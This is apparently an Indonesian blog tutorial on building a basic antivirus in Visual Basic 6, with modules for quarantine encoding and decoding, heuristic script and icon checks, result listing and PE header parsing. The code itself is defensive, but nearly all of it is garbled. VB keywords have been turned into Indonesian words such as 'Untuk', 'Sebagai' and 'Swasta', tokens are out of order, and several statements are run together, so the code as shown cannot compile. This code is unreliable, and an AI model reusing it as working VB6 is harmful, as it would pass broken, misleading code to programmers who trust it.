<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /><span class="">Kode: </span><br /><span class="">Option Explicit </span><br /><span class="">Public Function EncodeFile (SourceFile As String, DestFile As String) </span><br /><span class="">Dim ByteArray () As Byte, Filenr As Integer </span><br /><span class="">= FreeFile Filenr </span><br /><span class="">Buka SourceFile Untuk Biner Sebagai # Filenr </span><br /><span class="">ReDim ByteArray (0 Untuk LOF (Filenr) - 1) </span><br /><span class="">Dapatkan # Filenr,, ByteArray () </span><br /><span class="">Close # Filenr </span><br /><span class="">Panggil Coder (ByteArray ()) </span><br /><span class="">Jika (PathFileExists (DestFile)) <> 0 Then DeleteFile DestFile </span><br /><span class="">Terbuka Untuk Biner Sebagai DestFile # Filenr </span><br /><span class="">Masukan # Filenr,, ByteArray () </span><br /><span class="">Close # Filenr </span><br /><span class="">End Function </span><br /><span class="">Public Fungsi DecodeFile (SourceFile As String, DestFile As String) </span><br /><span class="">Dim ByteArray () As Byte, Filenr As Integer </span><br /><span class="">= FreeFile Filenr </span><br /><span class="">SourceFile Terbuka Untuk Biner Sebagai # Filenr </span><br /><span class="">ReDim ByteArray (0 Untuk LOF (Filenr) - 1) </span><br /><span class="">Dapatkan # Filenr,, ByteArray ( ) </span><br /><span class="">Tutup # Filenr </span><br /><span class="">Panggil Decoder (ByteArray ()) </span><br /><span class="">Jika (PathFileExists (DestFile)) <> 0 Then DeleteFile DestFile </span></span></span><span class=""><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">Terbuka Untuk Biner Sebagai </span></span><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">DestFile # Filenr </span></span></span><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /><span class="">Masukan # Filenr,, ByteArray () </span><br /><span class="">Close # Filenr </span><br /><span class="">End Function </span><br /><span class="">Private Sub Coder (ByteArray ( ) As Byte) </span><br /><span class="">Dim x As Long </span><br /><span class="">Dim Nilai As Integer </span><br /><span class="">Nilai = 0 </span><br /><span class="">Untuk x = 0 Untuk UBound (ByteArray) </span><br /><span class="">Nilai = Nilai + ByteArray (x) </span><br /><span class="">Jika Nilai> 255 Kemudian Nilai = Nilai - 256 </span><br /><span class="">ByteArray (x) = Nilai </span><br /><span class="">Berikutnya </span><br /><span class="">Akhir Sub </span><br /><span class="">Private Sub Decoder (ByteArray () As Byte) </span><br /><span class="">Dim x As Long </span><br /><span class="">Dim Nilai As Integer </span><br /><span class="">Dim As Integer newValue </span><br /><span class="">newValue = 0 </span><br /><span class="">Untuk x = 0 Untuk UBound (ByteArray) </span><br /><span class="">Nilai = newValue </span><br /><span class="">newValue = ByteArray (x) </span><br /><span class="">Nilai = ByteArray (x) - Nilai </span><br /><span class="">Jika Value <0 Then Nilai = Nilai + 256 ByteArray (x) = Nilai End Sub Selanjutnya</span></span></span></div>
</div>
</div>
<div>
<span class="" style="background-color: black; color: white;">Kode di Atas adalah kode UNTUK enkripsi / dekripsi PADA Virus Yang Akan di Karantina</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Buat lagi 1 modul DENGAN Nama modHeuristic</span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode hari lalu di bawah ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><span class="">'Kode: </span><br /><span class="">Swasta Declare Function Lib ExtractIconEx "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As String, ByVal nIconIndex As Long, ByRef phiconLarge As Long, ByRef phiconSmall As Long, ByVal As Long nIcons) As Long </span><br /><span class="">Declare Function Swasta DestroyIcon Lib "user32.dll" (ByVal hicon As Long) As Long </span><br /><span class="">Declare Function Pribadi DrawIconEx Lib "user32" (ByVal hdc As Long, ByVal As Long xLeft, ByVal yTop As Long, ByVal As Long hicon, cxWidth ByVal As Long, ByVal Sebagai cyWidth panjang, istepIfAniCur ByVal As Long, ByVal hbrFlickerFreeDraw As Long, ByVal As Long diFlags) Sebagai Boolean </span><br /><span class="">Swasta Declare Function Lib ExtractIcon "shell32.dll" Alias "ExtractIconA" (ByVal As Long hInst, lpszExefileName ByVal As String, ByVal nIconIndex As Long) Sebagai Panjang </span><br /><span class="">DI_MASK Const Pribadi = & H1 </span><br /><span class="">Pribadi Const DI_IMAGE = & H2 </span><br /><span class="">Pribadi Const DI_NORMAL = & H3 </span><br /><span class="">Pribadi Const DI_COMPAT = & H4 </span><br /><span class="">Pribadi Const DI_DEFAULTSIZE = & H8 </span><br /><span class="">Pribadi Const SHGFI_DISPLAYNAME = & H200 </span><br /><span class="">Pribadi Const SHGFI_EXETYPE = & H2000 </span><br /><span class="">Const Pribadi SHGFI_SYSICONINDEX = & H4000 </span><br /><span class="">Pribadi Const SHGFI_LARGEICON = & H0 </span><br /><span class="">Pribadi Const SHGFI_SMALLICON = & H1 </span><br /><span class="">Swasta Const ILD_TRANSPARENT = & H1 </span><br /><span class="">Pribadi Const SHGFI_SHELLICONSIZE = & H4 </span><br /><span class="">Pribadi Const SHGFI_TYPENAME = & H400 </span><br /><span class="">BASIC_SHGFI_FLAGS Const Pribadi = SHGFI_TYPENAME Atau SHGFI_SHELLICONSIZE Atau SHGFI_SYSICONINDEX Atau SHGFI_DISPLAYNAME Atau SHGFI_EXETYPE </span><br /><span class="">SIconInfo Swasta Seperti SHFILEINFO </span><br /><span class="">SectionHeaders Swasta () Sebagai IMAGE_SECTION_HEADER </span><br /><span class="">Dim i As Integer </span><br /><span class="">j Dim As Integer </span><br /><span class="">CekHeuristic Public Function (Filename As String) </span><br /><span class="">CekHeuristic = "" </span><br /><span class="">On Error GoTo hError </span><br /><span class="">Dim hFile As Long, BRW As Long </span><br /><span class="">Dim DOSheader IMAGE_DOS_HEADER </span><br /><span class="">NTHeaders Dim IMAGE_NT_HEADERS </span><br /><span class="">As String Dim Filedata </span><br /><span class="">DOS_HEADER_INFO = "" </span><br /><span class="">NT_HEADERS_INFO = "" </span><br /><span class="">hFile = CreateFile (Filename, ByVal (GENERIC_READ Atau GENERIC_WRITE), FILE_SHARE_READ, ByVal 0 &, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, ByVal 0) </span><br /><span class="">ReadFile hFile, DOSheader, Len (DOSheader), BRW, ByVal 0 & </span><br /><span class="">SetFilePointer hFile, DOSheader.e_lfanew, 0, 0 </span><br /><span class="">ReadFile hFile, NTHeaders, Len (NTHeaders), BRW, ByVal 0 & </span><br /><span class="">Jika NTHeaders.Signature <> IMAGE_NT_SIGNATURE Kemudian </span><br /><span class="">Jika IsScript (Filename) = Benar Kemudian </span><br /><span class="">Filename Terbuka Untuk Biner Sebagai # 1 </span><br /><span class="">Filedata = Ruang $ (LOF (1)) </span><br /><span class="">Dapatkan # 1,, Filedata </span><br /><span class="">Close # 1 </span><br /><span class="">CekHeuristic = CekHeur ( Filedata) </span><br /><span class="">End If </span><br /><span class="">Keluar Fungsi </span><br /><span class="">End If </span><br /><span class="">CekHeuristic = CekIconBinary (Filename) </span><br /><span class="">hError: </span><br /><span class="">End Function </span><br /><span class="">Fungsi CekHeur Swasta (Data As String) </span><br /><span class="">Dim HSL, dpl As Integer </span><br /><span class="">strasli = lcase (Ganti (Data, vbNewLine, "$")) </span><br /><span class="">Untuk i = 1 Untuk UBound (Bahaya) </span><br /><span class="">HSL = 0 </span><br /><span class="">strData = Split (Bahaya (i), "|") </span><br /><span class="">dpl = 0 </span><br /><span class="">Untuk k = 0 Untuk UBound (strData) </span><br /><span class="">xxx = lcase (strData (k)) </span><br /><span class="">Jika InStr (strasli, xxx) > 0 Then HSL HSL + 1 = </span><br /><span class="">dpl = dpl + 1 </span><br /><span class="">Berikutnya </span><br /><span class="">Jika HSL = dpl Kemudian </span><br /><span class="">CekHeur = "berbahaya-Script" </span><br /><span class="">Keluar Fungsi </span><br /><span class="">End If </span><br /><span class="">Berikutnya </span><br /><span class="">CekHeur = "" </span><br /><span class="">End Function </span><br /><span class="">Fungsi CekIconBinary Swasta (PathFile As String) </span><br /><span class="">Dim q As Integer </span><br /><span class="">Dim IconIDNow As String </span><br /><span class="">CekIconBinary = "" </span><br /><span class="">IconIDNow = CalcIcon (PathFile) </span><br /><span class="">Jika IconIDNow = "" Kemudian Keluar Fungsi </span><br /><span class="">Untuk q = 1 Untuk UBound (IconDB) </span><br /><span class="">Jika IconDB (q) = IconIDNow Kemudian </span><br /><span class="">CekIconBinary = "berbahaya Icon" </span><br /><span class="">Keluar Fungsi </span><br /><span class="">End If </span><br /><span class="">Berikutnya q </span><br /><span class="">End Function </span><br /><span class="">Fungsi Swasta CalcBinary (lpFileName ByVal As String, ByVal lpByteCount As Long, ByVal StartByte Opsional As Long = 0) As String </span><br /><span class="">Dim Bin () As Byte </span><br /><span class="">Dim As Long ByteSum </span><br /><span class="">Dim i As Long </span><br /><span class="">ReDim Bin (lpByteCount) As Byte </span><br /><span class="">lpFileName Terbuka Untuk Biner Sebagai # 1 </span><br /><span class="">Jika StartByte = 0 Then </span><br /><span class="">Dapatkan # 1,, Bin </span><br /><span class="">Lain </span><br /><span class="">Dapatkan # 1, StartByte, Bin </span><br /><span class="">End If </span><br /><span class="">Close # 1 </span><br /><span class="">Untuk i = 0 Untuk lpByteCount </span><br /><span class="">ByteSum = ByteSum + Bin (i) ^ 2 </span><br /><span class="">Next i </span><br /><span class="">CalcBinary = Hex $ (ByteSum) </span><br /><span class="">End Function </span><br /><span class="">Fungsi CalcIcon Swasta (lpFileName ByVal As String) As String </span><br /><span class="">PicPath Dim As String </span><br /><span class="">ByteSum Dim As String </span><br /><span class="">IconExist Dim As Long </span><br /><span class="">hicon Dim As Long </span><br /><span class="">IconExist = ExtractIconEx (lpFileName, 0, ByVal 0 &, hicon, 1) </span><br /><span class="">Jika IconExist <= 0 Then IconExist = ExtractIconEx (lpFileName, 0, hicon, ByVal 0 &, 1) Jika IconExist <= 0 Kemudian Keluar End Function Jika frmUtama.sIcon.BackColor = vbWhite DrawIconEx frmUtama.sIcon.hDC, 0, 0, hicon, 0 , 0, 0, 0, DI_NORMAL DestroyIcon hicon PicPath = Lingkungan $ ("windir") & "\ tmp.tmp" SavePicture frmUtama.sIcon.Image, PicPath ByteSum = CalcBinary (PicPath, FileLen (PicPath)) DeleteFile PicPath CalcIcon = ByteSum End Function</span></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Fungsi di Atas Fungsi adalah suatu file yang mengecek UNTUK DENGAN METODE heuristik ikon + heuristik virus VBS UNTUK</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="" style="background-color: black; color: white;">Buat 1 modul DENGAN Nama modIconCompare</span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode hari lalu di bawah ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><span class="">'Kode: </span><br /><span class="">Option Explicit </span><br /><span class="">Swasta Const SHGFI_DISPLAYNAME = & H200, SHGFI_EXETYPE = & H2000, SHGFI_SYSICONINDEX = & H4000, SHGFI_LARGEICON = & H0, SHGFI_SMALLICON = & H1, SHGFI_SHELLICONSIZE = & H4, SHGFI_TYPENAME = & H400, ILD_TRANSPARENT = & H1, BASIC_SHGFI_FLAGS = SHGFI_TYPENAME Atau SHGFI_SHELLICONSIZE Atau SHGFI_SYSICONINDEX Atau SHGFI_DISPLAYNAME Atau SHGFI_EXETYPE </span><br /><span class="">Tipe Publik SHFILEINFO </span><br /><span class="">hicon As Long: iIcon As Long: dwAttributes As Long: szDisplayName As String * MAX_PATH: szTypeName As String * 80 </span><br /><span class="">End Type </span><br /><span class="">Declare Function Pribadi SHGetFileInfo Lib "shell32.dll" Alias "SHGetFileInfoA" (ByVal pszPath As String, ByVal dwFileAttributes As Long, psfi Sebagai SHFILEINFO, ByVal cbSizeFileInfo As Long, ByVal As Long uFlags) As Long </span><br /><span class="">Declare Function Pribadi ImageList_Draw Lib "comctl32.dll" (ByVal himl As Long, ByVal i As Long, ByVal As Long hdcDest, ByVal x As Long, ByVal y As Long, ByVal flag As Long) As Long </span><br /><span class="">shinfo Swasta Seperti SHFILEINFO, sshinfo Sebagai SHFILEINFO </span><br /><span class="">Pribadi Declare Function Lib DrawIconEx "user32.dll" (ByVal hdc As Long, ByVal As Long xLeft, yTop ByVal As Long, ByVal As Long hicon , ByVal cxWidth As Long, ByVal As Long cyWidth, istepIfAniCur ByVal As Long, ByVal hbrFlickerFreeDraw As Long, ByVal As Long diFlags) As Long </span><br /><span class="">SIconInfo Swasta Seperti SHFILEINFO </span><span class="">Publik Enum IconRetrieve</span><span class="">ricnLarge = 32 </span><span class="">ricnSmall = 16 </span><span class="">End Enum </span><span class="">Public Sub RetrieveIcon (fname As String , DC Sebagai PictureBox, icnSize Sebagai IconRetrieve) </span><span class="">Dim hImgSmall, hImgLarge As Long </span><span class="">Debug.Print fname</span><span class="">Kasus Pilih icnSize </span><span class="">Kasus ricnSmall </span><span class="">hImgSmall = SHGetFileInfo (fname $, 0 &, shinfo, Len (shinfo), BASIC_SHGFI_FLAGS Atau SHGFI_SMALLICON) </span><span class="">Panggil ImageList_Draw (hImgSmall, shinfo iIcon,. DC.hDC, 0, 0, ILD_TRANSPARENT) </span><span class="">Kasus ricnLarge </span><span class="">hImgLarge & = SHGetFileInfo (fname $, 0 &, shinfo, Len (shinfo), BASIC_SHGFI_FLAGS Atau SHGFI_LARGEICON) </span><span class="">Panggil ImageList_Draw (hImgLarge, shinfo.iIcon, DC.hDC, 0, 0, ILD_TRANSPARENT) </span><span class="">End Select </span><span class="">End Sub </span><span class="">Public Function ExtractIcon (Filename As String, AddtoImageList Sebagai Imagelist, PictureBox Sebagai PictureBox, PixelsXY Sebagai IconRetrieve, o IKEY As String) As Long </span><span class="">As Long Dim SmallIcon </span><span class="">NewImage Dim ListImage </span><span class="">IconIndex Dim As Integer </span><span class="">On Error GoTo Load_New_Icon </span><span class="">Jika o IKEY <> "Aplikasi" Dan o IKEY <> "Shortcut" Lalu </span><span class="">ExtractIcon = AddtoImageList.ListImages (* o IKEY) Indeks. </span><span class="">Keluar Fungsi </span><span class="">End If </span><span class="">Load_New_Icon: </span><span class="">On Error GoTo Reset_Key </span><span class="">RetrieveIcon Filename, PictureBox, PixelsXY </span><span class="">IconIndex = AddtoImageList.ListImages.Count + 1 </span><span class="">Set NewImage = AddtoImageList.ListImages.Add (IconIndex, o IKEY, PictureBox.Image) </span><span class="">ExtractIcon = IconIndex </span><span class="">Keluar Fungsi</span><span class="">Reset_Key: </span><span class="">o IKEY = "" </span><span class="">Lanjutkan </span><span class="">End Function </span><span class="">Public Sub GetLargeIcon (icPath $, pDisp Sebagai PictureBox) </span><span class="">Dim hImgLrg &: hImgLrg = SHGetFileInfo (icPath $, 0 &, SIconInfo, Len (SIconInfo), BASIC_SHGFI_FLAGS Atau SHGFI_LARGEICON)</span><span class="">ImageList_Draw hImgLrg, SIconInfo.iIcon, pDisp.hDC, 0, 0, ILD_TRANSPARENT </span><span class="">End Sub</span><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Kode di Atas di butuhkan UNTUK METODE heuristik antivirus PADA ikon</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Buat 1 modul DENGAN Nama modLV</span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode hari lalu di bawah ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />GetSelected Public Function (TheLV Sebagai ListView)<br />Dim Sel As String<br />Untuk i = 1 Untuk TheLV.ListItems.Count<br />Jika TheLV.ListItems.Item (i) Checked = Benar Kemudian.<br />Sel = Sel & "|" & TheLV.ListItems Item (i).. subitems (1)<br />End If<br />Berikutnya<br />GetSelected = Sel<br />End Function Public Function SelectedAll (TheLV Sebagai ListView)Untuk i = 1 Untuk TheLV.ListItems.Count TheLV.ListItems.Item (i) Benar Checked. = Berikutnya Akhir Fungsi Fungsi Publik SelectedNone (TheLV Sebagai ListView) Untuk i = 1 Untuk TheLV.ListItems.Count TheLV.ListItems.Item (i) Checked = False.Berikutnya End Function Public Function GetIndex (TheLV Sebagai ListView, data As String) As Integer For i = 1 Untuk TheLV.ListItems.Count Jika TheLV.ListItems.Item (i) subitems (1). = data Kemudian GetIndex = i End If Berikutnya End FunctionPublic Function batalkan (TheLV Sebagai ListView, data As String)Untuk i = 1 Untuk TheLV.ListItems.Count Jika TheLV.ListItems.Item (i) subitems (3). = data Kemudian TheLV.ListItems.Item (i) = Checked. False End If Berikutnya End Function Public Function AddDetect (TheLV Sebagai ListView, FilePath As String , VirData As String) Dengan TheLV Jika Kiri (VirData, 9) <> "berbahaya" Lalu Set lvItm =. ListItems.Add (,, Split (VirData, "|")( 0),, frmUtama.ImgSmall.ListImages (1 ). Index) lvItm.SubItems (1) = FilePath lvItm.SubItems (2) = Split (VirData, "|")( 1)lvItm.SubItems (3) = "File Virus" Lain Set lvItm =. ListItems.Add ( ,, VirData,, frmUtama.ImgSmall.ListImages (1). Index)lvItm.SubItems (1) = FilePath lvItm.SubItems (2) = GetChecksum (FilePath) lvItm.SubItems (3) = "Virus File" End If End With End Function<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Kode di Atas Berguna UNTUK dengatur PADA SAAT ListView virus terdeteksi</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Buat 1 modul DENGAN Nama modPE</span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode hari lalu di bawah ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><span class="">'Kode: </span><br /><span class="">Ketik IMAGE_DOS_HEADER Publik </span><br /><span class="">e_magic As Integer </span><br /><span class="">e_cblp As Integer </span><br /><span class="">e_cp As Integer </span><br /><span class="">e_crlc As Integer </span><br /><span class="">e_cparhdr As Integer </span><br /><span class="">e_minalloc As Integer </span><br /><span class="">e_maxalloc As Integer </span><br /><span class="">e_ss As Integer </span><br /><span class="">e_sp As Integer </span><br /><span class="">e_csum As Integer </span><br /><span class="">e_ip As Integer </span><br /><span class="">e_cs As Integer </span><br /><span class="">e_lfarlc As Integer </span><br /><span class="">e_ovno As Integer </span><br /><span class="">e_res ( 1 Untuk 4) As Integer </span><br /><span class="">e_oemid As Integer </span><br /><span class="">e_oeminfo As Integer </span><br /><span class="">e_res2 (1 To 10) As Integer </span><br /><span class="">e_lfanew As Long </span><br /><span class="">End Type </span><span class="">Public Type IMAGE_SECTION_HEADER </span><span class="">nameSec As String * 6</span><span class="">PhisicalAddress As Integer </span><span class="">VirtualSize As Long </span><span class="">As Long VirtualAddress </span><span class="">SizeOfRawData As Long </span><span class="">As Long PointerToRawData</span><span class="">PointerToRelocations Sebagai Panjang </span><span class="">PointerToLinenumbers As Long</span><span class="">As Integer NumberOfRelocations </span><span class="">NumberOfLinenumbers As Integer</span><span class="">Karakteristik As Long </span><span class="">End Type </span><span class="">Public Type IMAGE_DATA_DIRECTORY</span><span class="">VirtualAddress As Long </span><span class="">As Long ukuran </span><span class="">Akhir Tipe </span><span class="">Tipe Publik IMAGE_OPTIONAL_HEADER </span><span class="">Sihir As Integer </span><span class="">MajorLinkerVersion As Byte</span><span class="">MinorLinkerVersion As Byte </span><span class="">SizeOfCode As Long </span><span class="">As Long SizeOfInitializedData </span><span class="">SizeOfUninitializedData As Long </span><span class="">As Long AddressOfEntryPoint </span><span class="">BaseOfCode As Long </span><span class="">As Long BaseOfData</span><span class="">ImageBase As Long </span><span class="">As Long SectionAlignment </span><span class="">FileAlignment As Long</span><span class="">As Integer MajorOperatingSystemVersion</span><span class="">MinorOperatingSystemVersion As Integer </span><span class="">MajorImageVersion As Integer </span><span class="">MinorImageVersion As Integer </span><span class="">MajorSubsystemVersion As Integer </span><span class="">MinorSubsystemVersion As Integer </span><span class="">Win32VersionValue As Long </span><span class="">As Long SizeOfImage </span><span class="">SizeOfHeaders As Long </span><span class="">As Long CheckSum</span><span class="">Subsystem As Integer </span><span class="">DllCharacteristics Sebagai Integer</span><span class="">SizeOfStackReserve As Long </span><span class="">As Long SizeOfStackCommit</span><span class="">SizeOfHeapReserve As Long </span><span class="">As Long SizeOfHeapCommit </span><span class="">LoaderFlags As Long </span><span class="">As Long NumberOfRvaAndSizes </span><span class="">DataDirectory (0 Untuk 15) Sebagai IMAGE_DATA_DIRECTORY </span><span class="">Akhir Tipe </span><span class="">Tipe Publik IMAGE_FILE_HEADER </span><span class="">Mesin As Integer </span><span class="">NumberOfSections As Integer</span><span class="">TimeDateStamp As Long </span><span class="">As Long PointerToSymbolTable</span><span class="">NumberOfSymbols As Long </span><span class="">As Integer SizeOfOptionalHeader</span><span class="">Karakteristik As Integer </span><span class="">Tipe Akhir </span><span class="">Tipe Publik IMAGE_NT_HEADERS</span><span class="">Tanda tangan As Long </span><span class="">FileHeader Sebagai IMAGE_FILE_HEADER</span><span class="">OptionalHeader Sebagai IMAGE_OPTIONAL_HEADER </span><span class="">Tipe Akhir</span><span class="">IMAGE_EXPORT_DIRECTORY Tipe Publik </span><span class="">Karakteristik As Long </span><span class="">As Long TimeDateStamp </span><span class="">MajorVersion As Integer </span><span class="">MinorVersion As Integer</span><span class="">Nama As Long </span><span class="">As Long Basis </span><span class="">NumberOfFunctions As Long </span><span class="">As Long NumberOfNames </span><span class="">AddressOfFunctions As Long </span><span class="">AddressOfNames As Long</span><span class="">AddressOfNameOrdinals As Long </span><span class="">End Type </span><span class="">Tipe Publik IMAGE_IMPORT_DESCRIPTOR </span><span class="">OriginalFirstThunk As Long </span><span class="">TimeDateStamp As Long </span><span class="">ForwarderChain As Long </span><span class="">Nama As Long </span><span class="">FirstThunk As Long</span><span class="">End Type </span><span class="">Tipe Publik IMAGE_IMPORT_BY_NAME </span><span class="">Petunjuk As Integer</span><span class="">Nama As String * 255 </span><span class="">End Type </span><span class="">Public Const IMAGE_SIZEOF_SECTION_HEADER = 40 </span><span class="">Public Const IMAGE_DOS_SIGNATURE = & H5A4D </span><span class="">Public Const IMAGE_NT_SIGNATURE = & H4550 </span><span class="">Public Const IMAGE_ORDINAL_FLAG = & H80000000 </span><span class="">Public Enum SECTION_CHARACTERISTICS </span><span class="">IMAGE_SCN_LNK_NRELOC_OVFL = & H1000000 'Bagian berisi relokasi diperpanjang. </span><span class="">IMAGE_SCN_MEM_DISCARDABLE = & H2000000 'Bagian dapat dibuang. </span><span class="">IMAGE_SCN_MEM_NOT_CACHED = & H4000000 'Bagian tidak cachable. </span><span class="">IMAGE_SCN_MEM_NOT_PAGED = & H8000000 'Bagian tidak pageable. </span><span class="">IMAGE_SCN_MEM_SHARED = & H10000000 'Bagian yang dapat dibagikan. </span><span class="">IMAGE_SCN_MEM_EXECUTE = & H20000000 'Bagian dijalankan. </span><span class="">IMAGE_SCN_MEM_READ = & H40000000 'Bagian dapat dibaca. </span><span class="">IMAGE_SCN_MEM_WRITE = & H80000000 'Bagian yang ditulisi. </span><span class="">Akhir Enum </span><span class="">Public Enum IMAGE_DIRECTORY</span><span class="">IMAGE_DIRECTORY_ENTRY_EXPORT = 0 'Ekspor Direktori</span><span class="">IMAGE_DIRECTORY_ENTRY_IMPORT = 1 'Impor Direktori</span><span class="">IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 'Sumber Daya Direktori</span><span class="">IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 'Eksepsi Direktori</span><span class="">IMAGE_DIRECTORY_ENTRY_SECURITY = 4 'Keamanan Direktori</span><span class="">IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 'Basis Relokasi Tabel</span><span class="">IMAGE_DIRECTORY_ENTRY_DEBUG = 6 'Direktori Debug</span><span class="">IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 'Arsitektur Tertentu data</span><span class="">IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 'RVA GP</span><span class="">IMAGE_DIRECTORY_ENTRY_TLS = 9 'TLS Direktori</span><span class="">IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 'Load Konfigurasi Direktori </span><span class="">IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 'Direktori Impor Bound di header </span><span class="">IMAGE_DIRECTORY_ENTRY_IAT = 12 'Impor Alamat Tabel </span><span class="">IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 'Penundaan Beban Impor Deskriptor </span><span class="">IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR COM = 14 'Runtime deskriptor </span><span class="">End Enum</span><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Kode di Atas berfungsi PE HEADER UNTUK pengecekan</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
